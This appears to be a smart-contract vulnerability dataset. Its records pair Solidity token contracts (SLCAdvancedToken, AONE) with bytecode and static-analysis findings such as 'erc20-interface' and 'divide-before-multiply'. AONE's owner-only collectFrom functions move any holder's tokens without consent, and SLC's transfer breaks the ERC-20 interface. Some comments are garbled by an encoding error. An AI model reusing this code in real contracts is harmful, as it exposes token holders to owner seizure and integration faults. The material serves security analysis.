572206973206e6f7420746865206f776e6572604082015260600190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b6000816000190483118215151615611a9b57611a9b611968565b500290565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b6000600019821415611ae057611ae0611968565b506001019056fea2646970667358221220c7b2aa77e0f009b1cfce94d86e2899ba55af438bd1008a7ad451cfd2f254cea064736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,332 |
0x80dd64a74479d71edb3f8a5f55e000bf24f4f83a
|
pragma solidity ^0.4.16;
contract owned {
//��Լ�������˻�
address public owner;
function owned() public {
owner = msg.sender;
}
//�ж��Ƿ��Լ�Ĵ�����
modifier onlyOwner {
require(msg.sender == owner);
_;
}
//ת����Լ��ӵ����
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
//�ӿڣ�
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract SLCAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SLCAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce5671461030957806342966c681461033a5780634b7503341461037f57806370a08231146103aa57806379c650681461040157806379cc67901461044e5780638620410b146104b35780638da5cb5b146104de57806395d89b4114610535578063a6f2ae3a146105c5578063a9059cbb146105cf578063b414d4b61461061c578063cae9ca5114610677578063dd62ed3e14610722578063e4849b3214610799578063e724529c146107c6578063f2fde38b14610815575b600080fd5b34801561013957600080fd5b506101626004803603810190808035906020019092919080359060200190929190505050610858565b005b34801561017057600080fd5b506101796108c5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610963565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109f0565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f6565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610b23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610b36565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610c3a565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c40565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c58565b005b34801561045a57600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8610fe3565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f3610fe9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054157600080fd5b5061054a61100e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058a57808201518184015260208101905061056f565b50505050905090810190601f1680156105b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105cd6110ac565b005b3480156105db57600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cc565b005b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110db565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110fb565b604051808215151515815260200191505060405180910390f35b34801561072e57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127e565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107c4600480360381019080803590602001909291905050506112a3565b005b3480156107d257600080fd5b50610813600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611326565b005b34801561082157600080fd5b50610856600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b357600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b188484846114e9565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b8657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e1957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a45780601f10611079576101008083540402835291602001916110a4565b820191906000526020600020905b81548152906001019060200180831161108757829003601f168201915b505050505081565b6000600854348115156110bb57fe5b0490506110c93033836114e9565b50565b6110d73383836114e9565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061110b8585610963565b15611275578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112055780820151818401526020810190506111ea565b50505050905090810190601f1680156112325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b5050505060019150611276565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff1631101515156112cd57600080fd5b6112d83330836114e9565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050158015611322573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138157600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561150f57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155d57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156115ec57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561164557600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561169e57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a72305820977ffe2ac1ebd2d81862b39af66e8980809599394166b1c67729359220d38c290029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,333 |
0x985fbA3D079361952143a6c04a268f3E59DB410A
|
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
//_transferOwnership(newOwner);
_pendingowner = newOwner;
emit OwnershipTransferPending(_owner, newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private _pendingowner;
event OwnershipTransferPending(address indexed previousOwner, address indexed newOwner);
function pendingowner() public view returns (address) {
return _pendingowner;
}
modifier onlyPendingOwner() {
require(msg.sender == _pendingowner, "Ownable: caller is not the pending owner");
_;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(msg.sender);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Token is IERC20, Pausable {
using SafeMath for uint256;
using Address for address;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256 balance) {
return _balances[account];
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address recipient, uint256 amount)
public
whenNotPaused
returns (bool success)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount)
public
whenNotPaused
returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
whenNotPaused
returns (bool)
{
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function mint(address account,uint256 amount) public onlyOwner returns (bool) {
_mint(account, amount);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(address account,uint256 amount) public onlyOwner returns (bool) {
_burn(account, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn to the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
contract AONE is ERC20Token {
constructor() public
ERC20Token("A-ONE", "AONE", 18, 2000000000 * (10 ** 18)) {
}
mapping (address => uint256) internal _locked_balances;
event TokenLocked(address indexed owner, uint256 value);
event TokenUnlocked(address indexed beneficiary, uint256 value);
function balanceOfLocked(address account) public view returns (uint256 balance)
{
return _locked_balances[account];
}
function lockToken(address[] memory addresses, uint256[] memory amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: address is empty");
require(addresses.length == amounts.length, "LockToken: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_lock_token(addresses[i], amounts[i]);
}
return true;
}
function lockTokenWhole(address[] memory addresses)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: address is empty");
for (uint i = 0; i < addresses.length; i++) {
_lock_token(addresses[i], _balances[addresses[i]]);
}
return true;
}
function unlockToken(address[] memory addresses, uint256[] memory amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "LockToken: unlock address is empty");
require(addresses.length == amounts.length, "LockToken: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_unlock_token(addresses[i], amounts[i]);
}
return true;
}
function _lock_token(address owner, uint256 amount) internal {
require(owner != address(0), "LockToken: lock from the zero address");
require(amount > 0, "LockToken: the amount is empty");
_balances[owner] = _balances[owner].sub(amount);
_locked_balances[owner] = _locked_balances[owner].add(amount);
emit TokenLocked(owner, amount);
}
function _unlock_token(address owner, uint256 amount) internal {
require(owner != address(0), "LockToken: lock from the zero address");
require(amount > 0, "LockToken: the amount is empty");
_locked_balances[owner] = _locked_balances[owner].sub(amount);
_balances[owner] = _balances[owner].add(amount);
emit TokenUnlocked(owner, amount);
}
event Collect(address indexed from, address indexed to, uint256 value);
event CollectLocked(address indexed from, address indexed to, uint256 value); //Lock이 해지 되었다.
function collectFrom(address[] memory addresses, uint256[] memory amounts, address recipient)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "Collect: collect address is empty");
require(addresses.length == amounts.length, "Collect: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_transfer(addresses[i], recipient, amounts[i]);
emit Collect(addresses[i], recipient, amounts[i]);
}
return true;
}
function collectFromLocked(address[] memory addresses, uint256[] memory amounts, address recipient)
public
onlyOwner
returns (bool) {
require(addresses.length > 0, "Collect: collect address is empty");
require(addresses.length == amounts.length, "Collect: invalid array size");
for (uint i = 0; i < addresses.length; i++) {
_unlock_token(addresses[i], amounts[i]);
_transfer(addresses[i], recipient, amounts[i]);
emit CollectLocked(addresses[i], recipient, amounts[i]);
}
return true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806314a7a6311461027257806318160ddd1461040357806323b872dd1461042e578063313ce567146104c157806339509351146104f25780633f4ba83a1461056557806340c10f191461057c5780634e71e0c8146105ef5780635c975abb1461060657806370a0823114610635578063715018a61461069a5780638456cb59146106b15780638da5cb5b146106c85780638f32d59b1461071f57806395d89b411461074e5780639dc29fac146107de578063a457c2d714610851578063a9059cbb146108c4578063b9bcabe914610937578063da4a898e14610ac8578063dd62ed3e14610b1f578063e50c652914610ba4578063e960bb4814610c81578063f2cb9bea14610ce6578063f2fde38b14610e57578063f612436114610ea8575b600080fd5b34801561017b57600080fd5b50610184611019565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b506102586004803603604081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bb565b604051808215151515815260200191505060405180910390f35b34801561027e57600080fd5b506103e96004803603606081101561029557600080fd5b81019080803590602001906401000000008111156102b257600080fd5b8201836020820111156102c457600080fd5b803590602001918460208302840111640100000000831117156102e657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561034657600080fd5b82018360208201111561035857600080fd5b8035906020019184602083028401116401000000008311171561037a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611157565b604051808215151515815260200191505060405180910390f35b34801561040f57600080fd5b506104186113e1565b6040518082815260200191505060405180910390f35b34801561043a57600080fd5b506104a76004803603606081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113eb565b604051808215151515815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611521565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104fe57600080fd5b5061054b6004803603604081101561051557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611538565b604051808215151515815260200191505060405180910390f35b34801561057157600080fd5b5061057a611662565b005b34801561058857600080fd5b506105d56004803603604081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117ab565b604051808215151515815260200191505060405180910390f35b3480156105fb57600080fd5b5061060461183d565b005b34801561061257600080fd5b5061061b611933565b604051808215151515815260200191505060405180910390f35b34801561064157600080fd5b506106846004803603602081101561065857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611946565b6040518082815260200191505060405180910390f35b3480156106a657600080fd5b506106af61198f565b005b3480156106bd57600080fd5b506106c6611aca565b005b3480156106d457600080fd5b506106dd611c13565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072b57600080fd5b50610734611c3c565b604051808215151515815260200191505060405180910390f35b34801561075a57600080fd5b50610763611c93565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107a3578082015181840152602081019050610788565b50505050905090810190601f1680156107d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ea57600080fd5b506108376004803603604081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d35565b604051808215151515815260200191505060405180910390f35b34801561085d57600080fd5b506108aa6004803603604081101561087457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dc7565b604051808215151515815260200191505060405180910390f35b3480156108d057600080fd5b5061091d600480360360408110156108e757600080fd5b8101